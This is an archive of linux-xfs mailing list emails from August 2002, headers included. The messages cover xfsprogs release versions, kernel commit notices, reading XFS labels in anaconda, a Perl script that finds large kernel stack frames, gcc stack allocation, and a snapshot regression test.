ESMTP id JAA27046; Tue, 27 Aug 2002 09:17:33 -0500 (CDT) Received: from stout.americas.sgi.com (stout.americas.sgi.com [128.162.187.5]) by poppy-e185.americas.sgi.com (980427.SGI.8.8.8/SGI-server-1.8) with ESMTP id JAA56491; Tue, 27 Aug 2002 09:17:32 -0500 (CDT) Date: Tue, 27 Aug 2002 09:15:43 -0500 (CDT) From: Eric Sandeen X-X-Sender: sandeen@stout.americas.sgi.com To: Michael Best cc: johncoltrane39@gmx.de, Subject: Re: hanging when mounting, success In-Reply-To: <3D6B2495.4040007@emergence.com> Message-ID: MIME-Version: 1.0 Content-type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 8bit X-archive-position: 49 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: sandeen@sgi.com Precedence: bulk X-list: linux-xfs Whoops, looks like maybe the ftp site didn't get updated correctly; I'll take a look today. -Eric On Tue, 27 Aug 2002, Michael Best wrote: > Good to hear things started working again, although 2.0.3-0 isn't > terribly current as the xfsprogs are up to 2.2.1-0 in: > > ftp://oss.sgi.com/projects/xfs/download/cmd_rpms/i386/ > > Even though the xfsprogs tarball that I just built appears to be 2.1.2 > ftp://oss.sgi.com/projects/xfs/download/cmd_tars/xfsprogs-2.1.2.src.tar.gz > > Anyone, are these the same version or is the tarball lagging? From owner-linux-xfs@oss.sgi.com Tue Aug 27 07:54:30 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Tue, 27 Aug 2002 07:54:34 -0700 (PDT) Received: from zeus-e8.americas.sgi.com ([198.149.7.250]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7REsTtG003147 for ; Tue, 27 Aug 2002 07:54:30 -0700 Received: from daisy-e185.americas.sgi.com (daisy-e185.americas.sgi.com [128.162.185.214]) by zeus-e8.americas.sgi.com (SGI-8.9.3/americas-smart-nospam1.1) with ESMTP id JAA27341 for ; Tue, 27 Aug 2002 09:57:53 -0500 (CDT) Received: from jen.americas.sgi.com (jen.americas.sgi.com [128.162.187.49]) by daisy-e185.americas.sgi.com (SGI-8.9.3/SGI-server-1.8) with ESMTP id JAA95732 for ; Tue, 27 Aug 2002 09:57:52 -0500 (CDT) From: Steve Lord Received: by jen.americas.sgi.com (8.11.6/SGI-client-1.7) id g7REv5I22319; Tue, 27 Aug 2002 09:57:05 -0500 Message-Id: <200208271457.g7REv5I22319@jen.americas.sgi.com> Date: Tue, 27 Aug 2002 09:57:05 -0500 Subject: TAKE - remove extra generation number checks on directories To: linux-xfs@oss.sgi.com X-archive-position: 50 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: lord@sgi.com Precedence: bulk X-list: linux-xfs More from Christoph, this removes checks which cover cases which cannot happen on linux due to vfs locking. Date: Tue Aug 27 07:56:45 PDT 2002 Workarea: jen.americas.sgi.com:/src/lord/xfs-linux.2.4 The following file(s) were checked into: bonnie.engr.sgi.com:/isms/slinx/2.4.x-xfs Modid: 2.4.x-xfs:slinx:126030a linux/fs/xfs/xfs_vnodeops.c - 1.556 linux/fs/xfs/xfs_utils.c - 1.50 linux/fs/xfs/xfs_utils.h - 1.23 linux/fs/xfs/xfs_rename.c - 1.38 From owner-linux-xfs@oss.sgi.com Tue Aug 27 08:23:43 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Tue, 27 Aug 2002 08:23:47 -0700 (PDT) Received: from ns.itsindia.com ([203.200.38.69]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7RFNftG003894 for ; Tue, 27 Aug 2002 08:23:42 -0700 Received: from swathi.krithika.net (unknown [202.88.158.15]) by ns.itsindia.com (Postfix) with ESMTP id 622D97000A7; Tue, 27 Aug 2002 20:56:52 +0530 (IST) Received: from localhost (localhost.krithika.net [127.0.0.1]) by swathi.krithika.net (Postfix) with ESMTP id CC61E108D757; Tue, 27 Aug 2002 20:56:38 +0530 (IST) Date: Tue, 27 Aug 2002 20:56:38 +0530 (IST) From: Ajay Ramaswamy To: katzj@redhat.com, Cc: bugzilla@redhat.com, Subject: Label support in anaconda Message-ID: MIME-Version: 1.0 Content-type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 8bit X-archive-position: 51 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: ajayr@krithika.net Precedence: bulk X-list: linux-xfs Sir, In the current anaconda there is support for writing XFS labels but no support for reading them, as a consequence in rescue mode fsset.py is not able to read the label and automatically mount the filesystems. This code snippet will enable reading the XFS label but it will mean that the one call to isys.readExt2Label in fsset.py will have to be changed to call a wrapper func which will either call readExt2Label or readXFSLabel after validating the filesystem by calling isValidXFS(dev) etc... I know that you hve marked support for XFS as WONTFIX yet since this is with a code snippet to explain what needs be done I hope it will be considered #!/usr/bin/python def readExt2Label(device): makeDevInode(device, "/tmp/disk") label = _isys.e2fslabel("/tmp/disk"); os.unlink("/tmp/disk") return label def readXFSLabel(device): makeDevInode(device, "/tmp/disk") xfslabel = iutil.execWithCapture("/usr/sbin/xfs_db", ["xfs_db", "-r", "-c", "label", "/tmp/disk"]) label = xfslabel[9:-2] os.unlink("/tmp/disk") return label basically I call the xfs_db util to read the label and chop off the initial "LABEL=" and the trailing "\r\n" Thank you regards Ajay From owner-linux-xfs@oss.sgi.com Tue Aug 27 09:16:43 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Tue, 27 Aug 2002 09:16:48 -0700 (PDT) Received: from penguin.e-mind.com ([195.223.140.120]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7RGGetG005144 for ; Tue, 27 Aug 2002 09:16:42 -0700 Received: from athlon.random (cda1.e-mind.com [195.223.140.107] (may be forged)) by penguin.e-mind.com (8.9.1a/8.9.1/Debian/GNU) with ESMTP id SAA04643; Tue, 27 Aug 2002 18:50:56 +0200 Received: from dualathlon.random (dualathlon.random [192.168.1.12]) by athlon.random (8.12.3/8.12.2/SuSE Linux 0.6) with ESMTP id g7RGKPTR012465; Tue, 27 Aug 2002 18:20:25 +0200 Received: from dualathlon.random (localhost [127.0.0.1]) by dualathlon.random (8.12.3/8.12.3/SuSE Linux 0.6) with ESMTP id g7RGLVjC022136; Tue, 27 Aug 2002 18:21:31 +0200 Received: (from andrea@localhost) by dualathlon.random (8.12.3/8.12.3/Submit) id g7RGLT7e022135; Tue, 27 Aug 2002 18:21:29 +0200 Date: Tue, 27 Aug 2002 18:21:29 +0200 From: Andrea Arcangeli To: Christoph Hellwig Cc: Steve Lord , Jim Eshleman , linux-xfs@oss.sgi.com Subject: Re: Detected potential for stack overflows, stack left: 796 bytes Message-ID: <20020827162129.GG21566@dualathlon.random> References: <3D652F1A.3080005@Lehigh.EDU> <1030041582.10311.105.camel@jen.americas.sgi.com> <20020822194611.A28364@infradead.org> Mime-Version: 1.0 Content-type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20020822194611.A28364@infradead.org> User-Agent: Mutt/1.3.27i X-GnuPG-Key-URL: http://e-mind.com/~andrea/aa.gnupg.asc X-PGP-Key-URL: http://e-mind.com/~andrea/aa.asc Content-Transfer-Encoding: 8bit X-archive-position: 52 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: andrea@suse.de Precedence: bulk X-list: linux-xfs On Thu, Aug 22, 2002 at 07:46:11PM +0100, Christoph Hellwig wrote: > On Thu, Aug 22, 2002 at 01:39:42PM -0500, Steve Lord wrote: > > Well, just looking at the function names in that stack, it looks like > > the xfs in the aa kernel is somewhat dated. We did a bunch of work > > since then to reduce stack usage in XFS. > > It's XFS 1.1, the last official release.. > > Andrea, would you be interested in more uptodate XFS code for -aa? yes, that would be welcome ;) Andrea From owner-linux-xfs@oss.sgi.com Tue Aug 27 09:54:40 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Tue, 27 Aug 2002 09:54:45 -0700 (PDT) Received: from wiley (ip66-2-81-26.z81-2-66.customer.algx.net [66.2.81.26]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7RGsdtG005848 for ; Tue, 27 Aug 2002 09:54:40 -0700 Received: from localhost.localdomain (localhost.localdomain [127.0.0.1]) by wiley (8.11.6/8.11.6) with ESMTP id g7RGw2108604 for ; Tue, 27 Aug 2002 12:58:02 -0400 Subject: Large Stack Usage in One More Function From: Danny Cox To: XFS Mailing List Content-type: text/plain Content-Transfer-Encoding: 8bit X-Mailer: Ximian Evolution 1.0.8 Date: 27 Aug 2002 12:58:01 -0400 Message-Id: <1030467482.1611.14.camel@wiley> Mime-Version: 1.0 X-archive-position: 53 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: danscox@mindspring.com Precedence: bulk X-list: linux-xfs Hi, Guys! After having read of the stack "issues" awhile back, and then having an idea or two gel in my head (it didn't hurt much ;-), I put them together, and found that xfs_ioctl() is using 752 bytes of stack. I chose 512 as the number of bytes above which to complain about, and looking at the code, I'd guess that the var "vattr_t va" struct is the main culprit. This is just a caution, and things may be just fine, of course. The ideas were: 1) with the KDB patch, you can compile the kernel with frame pointers. 2) within the "function prelude", the frame pointer has N bytes subtracted from it. This is the amount of stack that the function uses, plus some slop (perhaps). 3) there exists a module for Perl that can disassemble i386 instructions. So, I have a Perl script that will accept vmlinux and System.map arguments, and look at every function mentioned for the "sub esp,N" within the first 10 instructions after the function beginning. It's a heuristic, it's static, it only looks at functions compiled in, and says nothing about the dynamic system, but can point out functions that use large amounts of stack. If you'd like the script, drop me an email.... -- kernel, n.: A part of an operating system that preserves the medieval traditions of sorcery and black art. Danny From owner-linux-xfs@oss.sgi.com Tue Aug 27 10:01:22 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Tue, 27 Aug 2002 10:01:24 -0700 (PDT) Received: from zeus-e8.americas.sgi.com ([198.149.7.250]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7RH1LtG006403 for ; Tue, 27 Aug 2002 10:01:21 -0700 Received: from daisy-e185.americas.sgi.com (daisy-e185.americas.sgi.com [128.162.185.214]) by zeus-e8.americas.sgi.com (SGI-8.9.3/americas-smart-nospam1.1) with ESMTP id MAA28434; Tue, 27 Aug 2002 12:04:44 -0500 (CDT) Received: from jen.americas.sgi.com (jen.americas.sgi.com [128.162.187.49]) by daisy-e185.americas.sgi.com (SGI-8.9.3/SGI-server-1.8) with ESMTP id MAA34932; Tue, 27 Aug 2002 12:04:44 -0500 (CDT) Received: by jen.americas.sgi.com (8.11.6/SGI-client-1.7) id g7RH4ha13598; Tue, 27 Aug 2002 12:04:43 -0500 Subject: Re: Large Stack Usage in One More Function From: Steve Lord To: Danny Cox Cc: XFS Mailing List In-Reply-To: <1030467482.1611.14.camel@wiley> References: <1030467482.1611.14.camel@wiley> Content-type: text/plain Content-Transfer-Encoding: 8bit X-Mailer: Ximian Evolution 1.0.8 Date: 27 Aug 2002 12:04:42 -0500 Message-Id: <1030467882.16697.28.camel@jen.americas.sgi.com> Mime-Version: 1.0 X-archive-position: 54 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: lord@sgi.com Precedence: bulk X-list: linux-xfs On Tue, 2002-08-27 at 11:58, Danny Cox wrote: > > Hi, Guys! > > After having read of the stack "issues" awhile back, and then having an > idea or two gel in my head (it didn't hurt much ;-), I put them > together, and found that xfs_ioctl() is using 752 bytes of stack. I > chose 512 as the number of bytes above which to complain about, and > looking at the code, I'd guess that the var "vattr_t va" struct is the > main culprit. Probably not just the vattr_t, most of the function is a large switch statement, and each case in there has its own on the stack variables. If the compiler is not being smart about it they would each get their own non-overlapping space. Thanks Steve p.s. and yes, please send the script. -- Steve Lord voice: +1-651-683-3511 Principal Engineer, Filesystem Software email: lord@sgi.com From owner-linux-xfs@oss.sgi.com Tue Aug 27 10:19:33 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Tue, 27 Aug 2002 10:19:36 -0700 (PDT) Received: from wiley (ip66-2-81-26.z81-2-66.customer.algx.net [66.2.81.26]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7RHJWtG007211 for ; Tue, 27 Aug 2002 10:19:32 -0700 Received: from localhost.localdomain (localhost.localdomain [127.0.0.1]) by wiley (8.11.6/8.11.6) with ESMTP id g7RHMq108651; Tue, 27 Aug 2002 13:22:52 -0400 Subject: Re: Large Stack Usage in One More Function From: Danny Cox To: Steve Lord Cc: XFS Mailing List In-Reply-To: <1030467882.16697.28.camel@jen.americas.sgi.com> References: <1030467482.1611.14.camel@wiley> <1030467882.16697.28.camel@jen.americas.sgi.com> Content-type: text/plain X-Mailer: Ximian Evolution 1.0.8 Date: 27 Aug 2002 13:22:52 -0400 Message-Id: <1030468972.1611.21.camel@wiley> Mime-Version: 1.0 Content-Transfer-Encoding: 8bit X-archive-position: 55 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: danscox@mindspring.com Precedence: bulk X-list: linux-xfs Steve, On Tue, 2002-08-27 at 13:04, Steve Lord wrote: > Probably not just the vattr_t, most of the function is a large switch > statement, and each case in there has its own on the stack variables. > If the compiler is not being smart about it they would each get > their own non-overlapping space. Actually, I wondered about that, too (what the compiler does with temp vars in {} blocks). The script is attached. It requires the Disassemble and the blib modules. blib is included with the Disassemble module, and is available from CPAN @ http://search.cpan.org/author/BOBMATH/Disassemble-X86-0.12/X86.pm -- kernel, n.: A part of an operating system that preserves the medieval traditions of sorcery and black art. Danny -- Binary/unsupported file stripped by Ecartis -- -- Type: text/x-perl -- File: check_stack From owner-linux-xfs@oss.sgi.com Tue Aug 27 10:23:43 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Tue, 27 Aug 2002 10:23:44 -0700 (PDT) Received: from Cantor.suse.de (ns.suse.de [213.95.15.193]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7RHNftG007833 for ; Tue, 27 Aug 2002 10:23:42 -0700 Received: from Hermes.suse.de (Charybdis.suse.de [213.95.15.201]) by Cantor.suse.de (Postfix) with ESMTP id 95FDF14884; Tue, 27 Aug 2002 19:27:05 +0200 (MEST) Date: Tue, 27 Aug 2002 19:27:04 +0200 From: Andi Kleen To: Steve Lord Cc: Danny Cox , XFS Mailing List Subject: Re: Large Stack Usage in One More Function Message-ID: <20020827192704.A27671@oldwotan.suse.de> References: <1030467482.1611.14.camel@wiley> <1030467882.16697.28.camel@jen.americas.sgi.com> Mime-Version: 1.0 Content-type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <1030467882.16697.28.camel@jen.americas.sgi.com>; from lord@sgi.com on Tue, Aug 27, 2002 at 12:04:42PM -0500 Content-Transfer-Encoding: 8bit X-archive-position: 56 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: ak@suse.de Precedence: bulk X-list: linux-xfs On Tue, Aug 27, 2002 at 12:04:42PM -0500, Steve Lord wrote: > > On Tue, 2002-08-27 at 11:58, Danny Cox wrote: > > > > Hi, Guys! > > > > After having read of the stack "issues" awhile back, and then having an > > idea or two gel in my head (it didn't hurt much ;-), I put them > > together, and found that xfs_ioctl() is using 752 bytes of stack. I > > chose 512 as the number of bytes above which to complain about, and > > looking at the code, I'd guess that the var "vattr_t va" struct is the > > main culprit. > > Probably not just the vattr_t, most of the function is a large switch > statement, and each case in there has its own on the stack variables. > If the compiler is not being smart about it they would each get > their own non-overlapping space. gcc isn't very smart in that unfortunately. All local variables no matter if in a subscope or not or being dead for most of the function or not contribute the stack frame. The only way to get a separate stack frame is to either use alloca() or a different function. -Andi From owner-linux-xfs@oss.sgi.com Tue Aug 27 10:25:38 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Tue, 27 Aug 2002 10:25:40 -0700 (PDT) Received: from wiley (ip66-2-81-26.z81-2-66.customer.algx.net [66.2.81.26]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7RHPbtG008301 for ; Tue, 27 Aug 2002 10:25:37 -0700 Received: from localhost.localdomain (localhost.localdomain [127.0.0.1]) by wiley (8.11.6/8.11.6) with ESMTP id g7RHSu108673; Tue, 27 Aug 2002 13:28:56 -0400 Subject: Re: Large Stack Usage in One More Function From: Danny Cox To: Danny Cox Cc: Steve Lord , XFS Mailing List In-Reply-To: <1030468972.1611.21.camel@wiley> References: <1030467482.1611.14.camel@wiley> <1030467882.16697.28.camel@jen.americas.sgi.com> <1030468972.1611.21.camel@wiley> Content-type: text/plain Content-Transfer-Encoding: 8bit X-Mailer: Ximian Evolution 1.0.8 Date: 27 Aug 2002 13:28:56 -0400 Message-Id: <1030469336.1611.25.camel@wiley> Mime-Version: 1.0 X-archive-position: 57 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: danscox@mindspring.com Precedence: bulk X-list: linux-xfs Hmmm. On Tue, 2002-08-27 at 13:22, Danny Cox wrote: > -- Binary/unsupported file stripped by Ecartis -- > -- Type: text/x-perl > -- File: check_stack Well, I guess the attachment was stripped. I'll try to inline it: ====================================================== #!/usr/bin/perl # check_stack --- check for too deep stack depths; it most likely only # only works for the linux kernel.... use 5.006; use strict; use warnings; use Getopt::Std; use lib "blib/lib"; use Disassemble::X86; use vars qw ( $opt_d ); getopts ("d") and $#ARGV == 1 or die <; close OBJ; $/ = $slash_save; # init the disassembler my $dis = Disassemble::X86->new ( start => 0xc0100000 - 0x1000, # text addr - file offset pos => 0, size => 32, text => $file, ); # you may change these as you see fit # max_check is the maximum number of instructions to scan for the 'sub esp,...' # before giving up my $max_check = 10; # stack_limit is the size that we'll consider worthy of reporting my $stack_limit = 512; # end of changables # max_stack is the maximum stack size we saw my $max_stack = 0; # open System.map. It contains the address, type, and names of each function # (among other things) open MAP, "<$ARGV[1]" or die "$0: can't read $ARGV[1]: $!\n"; while () { my ($addr, $type, $name) = split (' ', $_); next if $name =~ /^\./; # we don't want names like '.yadda' if ($type =~ /^[Tt]$/) { # we only want text symbols print "looking at $name ($addr)\n" if $opt_d; $dis->pos (hex ($addr)); for (my $i = 0; $i < $max_check && !$dis->at_end; $i++) { my $op = $dis->disasm (); printf "%04x %s\n", $dis->op_start (), $op if $opt_d; next if (!defined $op); if ($op =~ /sub esp,(0x[[:xdigit:]]+)/) { my $stack = hex ($1); $max_stack = $stack if $stack > $max_stack; printf "check $name (stack %d)\n", $stack if $stack >= $stack_limit; last; } } } } close MAP; print "max single stack used is $max_stack\n"; exit 0; # end check_stack ==================================================================== Well, some of that wrapped, but I guess that's better than not having it at all! -- kernel, n.: A part of an operating system that preserves the medieval traditions of sorcery and black art. Danny From owner-linux-xfs@oss.sgi.com Tue Aug 27 10:30:38 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Tue, 27 Aug 2002 10:30:40 -0700 (PDT) Received: from zeus-e8.americas.sgi.com ([198.149.7.250]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7RHUbtG009116 for ; Tue, 27 Aug 2002 10:30:38 -0700 Received: from daisy-e185.americas.sgi.com (daisy-e185.americas.sgi.com [128.162.185.214]) by zeus-e8.americas.sgi.com (SGI-8.9.3/americas-smart-nospam1.1) with ESMTP id MAA28664; Tue, 27 Aug 2002 12:34:00 -0500 (CDT) Received: from jen.americas.sgi.com (jen.americas.sgi.com [128.162.187.49]) by daisy-e185.americas.sgi.com (SGI-8.9.3/SGI-server-1.8) with ESMTP id MAA78421; Tue, 27 Aug 2002 12:34:00 -0500 (CDT) Received: by jen.americas.sgi.com (8.11.6/SGI-client-1.7) id g7RHXwr14466; Tue, 27 Aug 2002 12:33:58 -0500 Subject: Re: Large Stack Usage in One More Function From: Steve Lord To: Andi Kleen Cc: Danny Cox , XFS Mailing List In-Reply-To: <20020827192704.A27671@oldwotan.suse.de> References: <1030467482.1611.14.camel@wiley> <1030467882.16697.28.camel@jen.americas.sgi.com> <20020827192704.A27671@oldwotan.suse.de> Content-type: text/plain Content-Transfer-Encoding: 8bit X-Mailer: Ximian Evolution 1.0.8 Date: 27 Aug 2002 12:33:58 -0500 Message-Id: <1030469638.16575.42.camel@jen.americas.sgi.com> Mime-Version: 1.0 X-archive-position: 58 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: lord@sgi.com Precedence: bulk X-list: linux-xfs On Tue, 2002-08-27 at 12:27, Andi Kleen wrote: > gcc isn't very smart in that unfortunately. All local variables no matter if in a subscope > or not or being dead for most of the function or not contribute the stack frame. > The only way to get a separate stack frame is to either use alloca() or a different > function. > > -Andi Thanks Andi, looks like breaking up the ioctl function would be the best way to fix this then. Steve -- Steve Lord voice: +1-651-683-3511 Principal Engineer, Filesystem Software email: lord@sgi.com From owner-linux-xfs@oss.sgi.com Tue Aug 27 10:34:37 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Tue, 27 Aug 2002 10:34:41 -0700 (PDT) Received: from Cantor.suse.de (ns.suse.de [213.95.15.193]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7RHYatG009671 for ; Tue, 27 Aug 2002 10:34:36 -0700 Received: from Hermes.suse.de (Charybdis.suse.de [213.95.15.201]) by Cantor.suse.de (Postfix) with ESMTP id B6A7B14856; Tue, 27 Aug 2002 19:37:59 +0200 (MEST) Date: Tue, 27 Aug 2002 19:37:59 +0200 From: Andi Kleen To: Steve Lord Cc: Andi Kleen , Danny Cox , XFS Mailing List Subject: Re: Large Stack Usage in One More Function Message-ID: <20020827193759.A8206@wotan.suse.de> References: <1030467482.1611.14.camel@wiley> <1030467882.16697.28.camel@jen.americas.sgi.com> <20020827192704.A27671@oldwotan.suse.de> <1030469638.16575.42.camel@jen.americas.sgi.com> Mime-Version: 1.0 Content-type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1030469638.16575.42.camel@jen.americas.sgi.com> User-Agent: Mutt/1.3.22.1i Content-Transfer-Encoding: 8bit X-archive-position: 59 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: ak@suse.de Precedence: bulk X-list: linux-xfs On Tue, Aug 27, 2002 at 12:33:58PM -0500, Steve Lord wrote: > On Tue, 2002-08-27 at 12:27, Andi Kleen wrote: > > gcc isn't very smart in that unfortunately. All local variables no matter if in a subscope > > or not or being dead for most of the function or not contribute the stack frame. > > The only way to get a separate stack frame is to either use alloca() or a different > > function. > > > > -Andi > > Thanks Andi, looks like breaking up the ioctl function would be the > best way to fix this then. Trick is to put the separate functions after the main ioctl, otherwise it'll break again for those people who ignore all words of reason and compile their kernel with -O3. -O3 auto inlines functions and you would get the same problem again. Fortunately it can only inline when the inlinee occurs before the first call of it. -Andi From owner-linux-xfs@oss.sgi.com Tue Aug 27 10:52:53 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Tue, 27 Aug 2002 10:53:03 -0700 (PDT) Received: from imf15bis.bellsouth.net (mail215.mail.bellsouth.net [205.152.58.155]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7RHqqtG010539 for ; Tue, 27 Aug 2002 10:52:53 -0700 Received: from TAZ2 ([67.35.80.69]) by imf15bis.bellsouth.net (InterMail vM.5.01.04.19 201-253-122-122-119-20020516) with SMTP id <20020827175753.SDNO1206.imf15bis.bellsouth.net@TAZ2>; Tue, 27 Aug 2002 13:57:53 -0400 Date: Tue, 27 Aug 2002 13:54:58 -0400 From: Greg Freemyer Subject: re[2]: Detected potential for stack overflows, stack left: 796 bytes To: Andrea Arcangeli cc: Mime-Version: 1.0 Organization: The NorcrossGroup X-Mailer: GoldMine [5.70.11111] Content-type: text/plain Message-Id: <20020827175753.SDNO1206.imf15bis.bellsouth.net@TAZ2> Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by oss.sgi.com id g7RHqrtG010543 X-archive-position: 60 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: freemyer@NorcrossGroup.com Precedence: bulk X-list: linux-xfs >> On Thu, Aug 22, 2002 at 07:46:11PM +0100, Christoph Hellwig wrote: >> > On Thu, Aug 22, 2002 at 01:39:42PM -0500, Steve Lord wrote: >> > > Well, just looking at the function names in that stack, it looks like >> > > the xfs in the aa kernel is somewhat dated. We did a bunch of work >> > > since then to reduce stack usage in XFS. >> > >> > It's XFS 1.1, the last official release.. >> > >> > Andrea, would you be interested in more uptodate XFS code for -aa? >> yes, that would be welcome ;) >> Andrea If this happens, could someone post a message on this list to let those of us that use the -aa kernel know that it is time to upgrade. Thanks, Greg ======== Greg Freemyer Internet Engineer Deployment and Integration Specialist Compaq ASE - Tru64 v4, v5 Compaq Master ASE - SAN Architect The Norcross Group www.NorcrossGroup.com From owner-linux-xfs@oss.sgi.com Tue Aug 27 11:25:44 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Tue, 27 Aug 2002 11:25:50 -0700 (PDT) Received: from zeus-e8.americas.sgi.com ([198.149.7.250]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7RIPitG011488 for ; Tue, 27 Aug 2002 11:25:44 -0700 Received: from daisy-e185.americas.sgi.com (daisy-e185.americas.sgi.com [128.162.185.214]) by zeus-e8.americas.sgi.com (SGI-8.9.3/americas-smart-nospam1.1) with ESMTP id NAA29018 for ; Tue, 27 Aug 2002 13:29:07 -0500 (CDT) Received: from jen.americas.sgi.com (jen.americas.sgi.com [128.162.187.49]) by daisy-e185.americas.sgi.com (SGI-8.9.3/SGI-server-1.8) with ESMTP id NAA01758 for ; Tue, 27 Aug 2002 13:29:07 -0500 (CDT) From: Steve Lord Received: by jen.americas.sgi.com (8.11.6/SGI-client-1.7) id g7RIT6m16925; Tue, 27 Aug 2002 13:29:06 -0500 Message-Id: <200208271829.g7RIT6m16925@jen.americas.sgi.com> Date: Tue, 27 Aug 2002 13:29:06 -0500 Subject: TAKE - put back some inode hash locking To: linux-xfs@oss.sgi.com X-archive-position: 61 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: lord@sgi.com Precedence: bulk X-list: linux-xfs Looks like I removed too many locks, this caused some races on larger cpu count systems. Eric did the work here, I am just checking the code in. Steve Date: Tue Aug 27 11:27:46 PDT 2002 Workarea: jen.americas.sgi.com:/src/lord/xfs-linux.2.4 The following file(s) were checked into: bonnie.engr.sgi.com:/isms/slinx/2.4.x-xfs Modid: 2.4.x-xfs:slinx:126051a linux/fs/xfs/xfs_vnodeops.c - 1.557 From owner-linux-xfs@oss.sgi.com Tue Aug 27 12:02:31 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Tue, 27 Aug 2002 12:02:37 -0700 (PDT) Received: from imf26bis.bellsouth.net (mail126.mail.bellsouth.net [205.152.58.86]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7RJ2UtG013424 for ; Tue, 27 Aug 2002 12:02:30 -0700 Received: from TAZ2 ([67.35.80.69]) by imf26bis.bellsouth.net (InterMail vM.5.01.04.19 201-253-122-122-119-20020516) with SMTP id <20020827190552.VHDK10702.imf26bis.bellsouth.net@TAZ2>; Tue, 27 Aug 2002 15:05:52 -0400 Date: Tue, 27 Aug 2002 15:04:35 -0400 From: Greg Freemyer Subject: Snapshot regression test [WAS: re[6]: Summary - Snapshot Effort] To: Nathan Scott cc: Mime-Version: 1.0 Organization: The NorcrossGroup X-Mailer: GoldMine [5.70.11111] Content-type: text/plain Message-Id: <20020827190552.VHDK10702.imf26bis.bellsouth.net@TAZ2> Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by oss.sgi.com id g7RJ2VtG013425 X-archive-position: 62 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: freemyer@NorcrossGroup.com Precedence: bulk X-list: linux-xfs Nathan, I have the very basics of a new test almost working. I'm assuming it will be 068. One big problem I have is that I start a background infinite loop of dd's to generate some i/o load. i.e. while true; do dd if=/scratch/dummy of=/scratch/junk bs=64k >/dev/null 2>&1 rm /scratch/junk sync done >/dev/null 2>&1 & At the end of the script I kill this off. Unfortunately, when it dies the parent shell is notifying the user with output like: > 068: line 127: 3956 Killed while true; do > dd if=/scratch/dummy of=/scratch/junk bs=64k >/dev/null 2>&1; rm /scratch/junk; sync; > done >/dev/null 2>&1 in my 068.out file. Since this has pids in the output, I always get a failure message. Is there a way to say that output should not be compared, or do you know some shell trick to avoid having this output generated. As you can see above, I tried sending stdout and stderr for the subshell to /dev/null, but that did not help. Thanks, Greg ============= Greg Freemyer Internet Engineer Deployment and Integration Specialist Compaq ASE - Tru64 v4, v5 Compaq Master ASE - SAN Architect The Norcross Group www.NorcrossGroup.com >> hi, >> On Fri, Aug 23, 2002 at 11:56:59AM -0500, Steve Lord wrote: >> > On Fri, 2002-08-23 at 11:28, Greg Freemyer wrote: >> > > I will download the whole set and first verify the test system runs on >> my system, then try to put together a new test for snapshots. >> > > >> > > The readme talks about the user providing 2 partitions, one with xfs >> on it, and one scratch. >> 